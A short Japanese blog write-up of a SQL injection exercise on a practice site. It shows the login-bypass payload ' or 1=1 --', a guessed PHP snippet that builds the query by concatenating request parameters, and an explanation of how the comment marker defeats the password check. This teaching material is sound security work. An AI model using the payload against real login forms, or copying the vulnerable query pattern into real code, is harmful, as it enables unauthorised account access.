本かだいのSQLiはSQLインジェクションのことです。
詳細は以下のサイトで解説しております。
Gain access to any users account
試しに、 usernameの項目に' or 1=1 --'
を入力してみる。
(パスワードはany
で何でも良い)
-> うまく通った!
おそらく、裏側では以下のようなコードが動いているものだと思われる。
$name = $_GET['name']; $password = $_GET['password']; $query = "SELECT * FROM users WHERE name = '$name' and password = '$password' "; mysql_query($query);
このようなコードで、username
を入れた場合、SQLは以下のように評価される
SELECT * FROM users WHERE name = '' or 1=1 --'' and password = '$password'
ポイントは、 --
を入れることでコメントアウトができるということ。
これで、いかなるパスワードもユーザーも認証を通ってしまう。
https://defendtheweb.net/playground/sqli1
page:https://minegishirei.hatenablog.com/entry/2024/08/31/182719